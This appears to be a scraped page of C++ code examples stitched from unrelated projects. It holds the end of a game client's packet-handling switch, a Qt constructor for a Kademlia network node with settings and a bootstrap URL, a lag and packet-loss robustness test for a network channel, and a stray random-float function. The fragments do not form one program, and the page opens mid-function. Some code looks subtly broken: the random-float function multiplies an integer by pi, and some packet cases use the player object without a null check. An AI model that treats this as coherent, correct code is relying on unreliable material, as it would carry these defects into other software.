		case PacketType::WORLD_CREATEOBJECT: {
			if(!Map || !Player)
				break;

			// Read packet
			NetworkIDType NetworkID = Data.Read<NetworkIDType>();
			//std::cout << Player->NetworkID << " WORLD_CREATEOBJECT NetworkID=" << NetworkID << std::endl;

			// Check id
			if(NetworkID != Player->NetworkID) {

				// Create object
				CreateObject(Data, NetworkID);
			}
		} break;
		case PacketType::WORLD_DELETEOBJECT: {
			NetworkIDType NetworkID = Data.Read<NetworkIDType>();

			// Get object
			_Object *Object = ObjectManager->GetObject(NetworkID);
			if(Object && Object != Player) {
				Object->Deleted = true;
			}
		} break;
		case PacketType::WORLD_OBJECTUPDATES:
			//HandleObjectUpdates(Data);
		break;
		case PacketType::WORLD_POSITION: {
			if(!Player)
				break;

			Player->Position = Data.Read<glm::ivec2>();
			Player->WaitForServer = false;
			Player->TeleportTime = -1;
		} break;
		case PacketType::WORLD_TELEPORTSTART:
			Player->TeleportTime = Data.Read<double>();
		break;
		case PacketType::EVENT_START:
			//HandleEventStart(Data);
		break;
		case PacketType::CHAT_MESSAGE:
			//HandleChatMessage(Data);
		break;
		case PacketType::INVENTORY:
			//HandleInventory(Data);
		break;
		case PacketType::INVENTORY_USE:
			//HandleInventoryUse(Data);
		break;
		case PacketType::INVENTORY_SWAP:
			//HandleInventorySwap(Data);
		break;
		case PacketType::INVENTORY_UPDATE:
			//HandleInventoryUpdate(Data);
		break;
		case PacketType::INVENTORY_GOLD:
			//HandleInventoryGold(Data);
		break;
		case PacketType::TRADE_REQUEST:
			//HandleTradeRequest(Data);
		break;
		case PacketType::TRADE_CANCEL:
			//HandleTradeCancel(Data);
		break;
		case PacketType::TRADE_ITEM:
			//HandleTradeItem(Data);
		break;
		case PacketType::TRADE_GOLD:
			//HandleTradeGold(Data);
		break;
		case PacketType::TRADE_ACCEPT:
			//HandleTradeAccept(Data);
		break;
		case PacketType::TRADE_EXCHANGE:
			//HandleTradeExchange(Data);
		break;
		case PacketType::BATTLE_START: {
			std::cout << "BATTLE_START" << std::endl;

			// Already in a battle
			if(Battle)
				break;

			// Allow player to hit menu buttons
			Player->WaitForServer = false;

			// Create a new battle instance
			Battle = new _Battle();
			Battle->Manager = ObjectManager;
			Battle->Stats = Stats;
			Battle->Scripting = Scripting;
			Battle->ClientPlayer = Player;
			Battle->ClientNetwork = Network.get();

			Battle->Unserialize(Data, nullptr);
		} break;
		case PacketType::BATTLE_ACTION:
			//HandleBattleAction(Data);
		break;
		case PacketType::BATTLE_LEAVE: {
			NetworkIDType NetworkID = Data.Read<NetworkIDType>();
			_Object *Object = ObjectManager->GetObject(NetworkID);
			if(Object)
				Battle->RemoveFighter(Object);
		} break;
		case PacketType::BATTLE_END: {
			if(!Player || !Battle)
				return;

			std::cout << "BATTLE_END" << std::endl;

			Player->WaitForServer = false;

			_StatChange StatChange;
			StatChange.Object = Player;

			// Get ending stats
			bool SideDead[2];
			SideDead[0] = Data.ReadBit();
			SideDead[1] = Data.ReadBit();
			int PlayerKills = Data.Read<uint8_t>();
			int MonsterKills = Data.Read<uint8_t>();
			StatChange.Values[StatType::EXPERIENCE].Integer = Data.Read<int32_t>();
			StatChange.Values[StatType::GOLD].Integer = Data.Read<int32_t>();
			uint8_t ItemCount = Data.Read<uint8_t>();
			for(uint8_t i = 0; i < ItemCount; i++) {

				uint32_t ItemID = Data.Read<uint32_t>();
				const _Item *Item = Stats->Items[ItemID];
				int Count = (int)Data.Read<uint8_t>();

				// Add items
				Player->Inventory->AddItem(Item, Count);
			}

			// Check win or death
			int PlayerSide = Player->BattleSide;
			int OtherSide = !PlayerSide;
			if(!SideDead[PlayerSide] && SideDead[OtherSide]) {
				Player->PlayerKills += PlayerKills;
				Player->MonsterKills += MonsterKills;
			}

			Player->Battle = nullptr;
			delete Battle;
			Battle = nullptr;

			DetermineNextGoal();
		} break;
		case PacketType::ACTION_RESULTS: {

			// Create result
			_ActionResult ActionResult;
			bool DecrementItem = Data.ReadBit();
			bool SkillUnlocked = Data.ReadBit();
			bool ItemUnlocked = Data.ReadBit();
			uint32_t ItemID = Data.Read<uint32_t>();
			int InventorySlot = (int)Data.Read<char>();
			ActionResult.ActionUsed.Item = Stats->Items[ItemID];

			// Set texture
			if(ActionResult.ActionUsed.Item)
				ActionResult.Texture = ActionResult.ActionUsed.Item->Texture;

			// Get source change
			HandleStatChange(Data, ActionResult.Source);

			// Update source fighter
			if(ActionResult.Source.Object) {
				ActionResult.Source.Object->TurnTimer = 0.0;
				ActionResult.Source.Object->Action.Unset();
				ActionResult.Source.Object->Targets.clear();

				// Use item on client
				if(Player == ActionResult.Source.Object) {
					if(ActionResult.ActionUsed.Item) {

						if(DecrementItem) {
							size_t Index;
							if(Player->Inventory->FindItem(ActionResult.ActionUsed.Item, Index, (size_t)InventorySlot)) {
								Player->Inventory->DecrementItemCount(Index, -1);
								Player->RefreshActionBarCount();
							}
						}

						if(SkillUnlocked) {
							Player->Skills[ActionResult.ActionUsed.Item->ID] = 0;
						}

						if(ItemUnlocked) {
							Player->Unlocks[ActionResult.ActionUsed.Item->UnlockID].Level = 1;
						}
					}
				}
			}

			// Update targets
			uint8_t TargetCount = Data.Read<uint8_t>();
			for(uint8_t i = 0; i < TargetCount; i++) {
				HandleStatChange(Data, ActionResult.Source);
				HandleStatChange(Data, ActionResult.Target);

				if(Battle) {

					// No damage dealt
					if((ActionResult.ActionUsed.GetTargetType() == TargetType::ENEMY || ActionResult.ActionUsed.GetTargetType() == TargetType::ENEMY_ALL)
					   && ((ActionResult.Target.HasStat(StatType::HEALTH) && ActionResult.Target.Values[StatType::HEALTH].Float == 0.0f) || ActionResult.Target.HasStat(StatType::MISS))) {
						ActionResult.Timeout = HUD_ACTIONRESULT_TIMEOUT_SHORT;
						ActionResult.Speed = HUD_ACTIONRESULT_SPEED_SHORT;
					}
					else {
						ActionResult.Timeout = HUD_ACTIONRESULT_TIMEOUT;
						ActionResult.Speed = HUD_ACTIONRESULT_SPEED;
					}

					Battle->ActionResults.push_back(ActionResult);
				}
				else if(ActionResult.Target.Object == Player) {
				}
			}
		} break;
		case PacketType::STAT_CHANGE: {
			_StatChange StatChange;
			HandleStatChange(Data, StatChange);
		} break;
		case PacketType::WORLD_HUD:
			Player->Health = Data.Read<float>();
			Player->Mana = Data.Read<float>();
			Player->MaxHealth = Data.Read<float>();
			Player->MaxMana = Data.Read<float>();
			Player->Experience = Data.Read<int32_t>();
			Player->Gold = Data.Read<int32_t>();
			Player->CalculateStats();
		break;
		default:
		break;
	}
}
Beispiel #24
0
CMuleKad::CMuleKad(QObject *parent)
 : CLoggerTmpl<QObject>("MuleKad", parent)
{
	m_uTimerID = startTimer(10);

	m_pBootstrap = NULL;
	m_pRequestManager = new CRequestManager(MIN2S(60), this);

	m_bEmbedded = false;
	m_uLastContact = 0;

	CSettings::InitSettingsEnvironment("Neo", "MuleKad", "neoloader.com");
	QMap<QString, CSettings::SSetting> Settings;

	Settings.insert("Kademlia/UDPPort", CSettings::SSetting(GetRandomInt(4800, 4900)));
	Settings.insert("Kademlia/KadID", CSettings::SSetting(""));
	Settings.insert("Kademlia/UDPKey", CSettings::SSetting(0));
	Settings.insert("Kademlia/Debug", CSettings::SSetting(0));
	Settings.insert("Kademlia/Bootstrap", CSettings::SSetting("http://upd.emule-security.org/nodes.dat")); // http://upd.emule-security.org/nodes.dat

	Settings.insert("Log/Store", CSettings::SSetting(false));
	Settings.insert("Log/Limit", CSettings::SSetting(256,128,1024));

	Settings.insert("Gui/LogLength", CSettings::SSetting(256,128,1024));
	Settings.insert("Gui/Window", CSettings::SSetting(""));
	Settings.insert("Gui/Main", CSettings::SSetting(""));
	Settings.insert("Gui/RoutingTable", CSettings::SSetting(""));
	Settings.insert("Gui/LookupList", CSettings::SSetting(""));


	m_Settings = new CSettings("MuleKad", Settings, this);

	m_UDPKey = m_Settings->GetInt("Kademlia/UDPKey");
	if(!m_UDPKey)
	{
		m_UDPKey = GetRand64();
		m_Settings->SetSetting("Kademlia/UDPKey",m_UDPKey);
	}

	SetLogLimit(m_Settings->GetInt("Log/Limit"));
	if(m_Settings->GetBool("Log/Store") )
		SetLogPath(m_Settings->GetSettingsDir() + "/Logs");

	QStringList Args = QApplication::instance()->arguments();

	QString Name;
	int NameIndex = Args.indexOf("-name");
	if(NameIndex != -1 && NameIndex + 1 < Args.size())
		Name = Args.at(NameIndex + 1);

	m_pInterface = new CIPCServer(this);
	if(Name.isEmpty())
		m_pInterface->LocalListen("MuleKad");
	else
		m_pInterface->LocalListen(Name);

	int ListenIndex = Args.indexOf("-listen");
	if(ListenIndex != -1 && ListenIndex + 1 < Args.size())
		m_pInterface->RemoteListen(Args.at(ListenIndex + 1).toULong());

	connect(m_pInterface, SIGNAL(RequestRecived(const QString&, const QVariant&, QVariant&)), this, SLOT(OnRequestRecived(const QString&, const QVariant&, QVariant&)));


#ifdef WIN32
	WORD wVersionRequested;
	WSADATA wsaData;
	wVersionRequested = MAKEWORD(2, 2);

	if (0 != WSAStartup(wVersionRequested, &wsaData))
		LogLine(LOG_ERROR, L"Couldn't initialise windows sockets");
#endif

	g_bLogKad = m_Settings->GetInt("Kademlia/Debug") == 1;

	m_KadID = m_Settings->GetBlob("Kademlia/KadID");
	if(m_KadID.size() != 16)
	{
		m_KadID = CAbstractKey(16,true).ToByteArray();
		m_Settings->SetBlob("Kademlia/KadID",m_KadID);
	}

	m_KadHandler = NULL;
}
Beispiel #25
0
void TestCChannelRobustness()
{
	notes << "Testing CBytestream" << endl;
	CBytestream bsTest;
	bsTest.Test();
	notes << "\n\n\n\nTesting CChannel robustness" << endl;
	int lagMin = 50;
	int lagMax = 400;
	int packetLoss = 15; // In percents
	float packetsPerSecond1 = 10.0f; // One channel sends faster than another
	float packetsPerSecond2 = 0.2f;
	int packetExtraData = 8192; // Extra data in bytes to add to packet to check buffer overflows

	CChannel3 c1, c2;	//CChannel_056b c1, c2;
	SmartPointer<NetworkSocket> s1 = new NetworkSocket(); s1->OpenUnreliable(0);
	SmartPointer<NetworkSocket> s2 = new NetworkSocket(); s2->OpenUnreliable(0);
	SmartPointer<NetworkSocket> s1lag = new NetworkSocket(); s1lag->OpenUnreliable(0);
	SmartPointer<NetworkSocket> s2lag = new NetworkSocket(); s2lag->OpenUnreliable(0);
	NetworkAddr a1, a2, a1lag, a2lag;
	a1 = s1->localAddress();
	a2 = s2->localAddress();
	a1lag = s1lag->localAddress();
	a2lag = s2lag->localAddress();
	c1.Create( a1lag, s1 );
	c2.Create( a2lag, s2 );
	s1lag->setRemoteAddress( a2 );
	s2lag->setRemoteAddress( a1 );

	std::multimap< int, CBytestream > s1buf, s2buf;

	int i1=0, i2=0, i1r=0, i2r=0;
	float packetDelay1 = 10000000;
	if( packetsPerSecond1 > 0 )
		packetDelay1 = 1000.0f / packetsPerSecond1;
	float packetDelay2 = 10000000;
	if( packetsPerSecond2 > 0 )
		packetDelay2 = 1000.0f / packetsPerSecond2;
	float nextPacket1 = 0;
	float nextPacket2 = 0;
	for( int testtime=0; testtime < 100000; testtime+= 10, nextPacket1 += 10, nextPacket2 += 10 )
	{
		tLX->currentTime = AbsTime(testtime);

		// Transmit number sequence and some unreliable info
		CBytestream b1, b2, b1u, b2u;

		if( nextPacket1 >= packetDelay1 )
		{
			nextPacket1 = 0;
			i1++;
			b1.writeInt(i1, 4);
			for( int f=0; f<packetExtraData; f++ )
				b1.writeByte(0xff);
			c1.AddReliablePacketToSend(b1);
		}

		if( nextPacket2 >= packetDelay2 )
		{
			nextPacket2 = 0;
			i2++;
			b2.writeInt(i2, 4);
			for( int f=0; f<packetExtraData; f++ )
				b2.writeByte(0xff);
			c2.AddReliablePacketToSend(b2);
		}


		c1.Transmit( &b1u );
		c2.Transmit( &b2u );

		b1.Clear();
		b2.Clear();

		b1.Read(s1lag.get());
		b2.Read(s2lag.get());
		b1.ResetPosToBegin();
		b2.ResetPosToBegin();

		// Add the lag
		if( b1.GetLength() != 0 )
		{
			if( GetRandomInt(100) + 1 < packetLoss )
				notes << testtime << ": c1 sent packet - lost (" << c1.Messages.size() << 
						" in buf): " << printBinary(b1.readData()) << endl;
			else
			{
				int lag = ((testtime + lagMin + GetRandomInt(lagMax-lagMin)) / 10)*10; // Round to 10
				s1buf.insert( std::make_pair( lag, b1 ) );
				notes<< testtime << ": c1 sent packet - lag " << lag << " size " << b1.GetLength() << " (" << c1.Messages.size() << 
						" in buf): " << printBinary(b1.readData()) << endl;
			}
		}

		for( std::multimap< int, CBytestream > :: iterator it = s1buf.lower_bound(testtime);
				it != s1buf.upper_bound(testtime); it++ )
		{
			it->second.ResetPosToBegin();
			it->second.ResetPosToBegin();
			it->second.Send(s1lag.get());
		}

		if( b2.GetLength() != 0 )
		{
			if( GetRandomInt(100) + 1 < packetLoss )
				notes << testtime << ": c2 sent packet - lost (" << c2.Messages.size() <<
						" in buf): " << printBinary(b2.readData()) << endl;
			else
			{
				int lag = ((testtime + lagMin + GetRandomInt(lagMax-lagMin)) / 10)*10; // Round to 10
				s2buf.insert( std::make_pair( lag, b2 ) );
				notes << testtime << ": c2 sent packet - lag " << lag << " size " << b2.GetLength() << " (" << c2.Messages.size() <<
						" in buf): " << printBinary(b2.readData()) << endl;
			}
		}

		for( std::multimap< int, CBytestream > :: iterator it = s2buf.lower_bound(testtime);
				it != s2buf.upper_bound(testtime); it++ )
		{
			it->second.ResetPosToBegin();
			it->second.ResetPosToBegin();
			it->second.Send(s2lag.get());
		}

		// Receive and check number sequence and unreliable info
		b1.Clear();
		b2.Clear();

		b1.Read(s1.get());
		b2.Read(s2.get());
		b1.ResetPosToBegin();
		b2.ResetPosToBegin();

		if( b1.GetLength() != 0 )
		{
			notes << testtime << ": c1 recv packet (ping " << c1.getPing() << "): " << printBinary(b1.readData()) << endl;
			b1.ResetPosToBegin();
			while( c1.Process( &b1 ) )
			{
				while( b1.GetRestLen() != 0 )
				{
					int i1rr = b1.readInt(4);
					notes << testtime << ": c1 reliable packet, data " << hex(i1rr) << 
							" expected " << i1r+1 << " - " << (i1rr == i1r+1 ? "good" : "ERROR!") << endl;
					i1r = i1rr;
					for( int f=0; f<packetExtraData; f++ )
						b1.readByte();
				}
				b1.Clear();
			}
		}

		if( b2.GetLength() != 0 )
		{
			notes << testtime << ": c2 recv packet (ping " << c2.getPing() << "): " << printBinary(b2.readData()) << endl;
			b2.ResetPosToBegin();
			while( c2.Process( &b2 ) )
			{
				while( b2.GetRestLen() != 0 )
				{
					int i2rr = b2.readInt(4);
					notes << testtime << ": c2 reliable packet, data " << hex(i2rr) << 
							" expected " << i2r+1 << " - " << (i2rr == i2r+1 ? "good" : "ERROR!") << endl;
					i2r = i2rr;
					for( int f=0; f<packetExtraData; f++ )
						b2.readByte();
				}
				b2.Clear();
			}
		}

	}
}
float FrameGenerator::GetRandomFloat()
{
    return ((float) GetRandomInt() * 3.14159);
}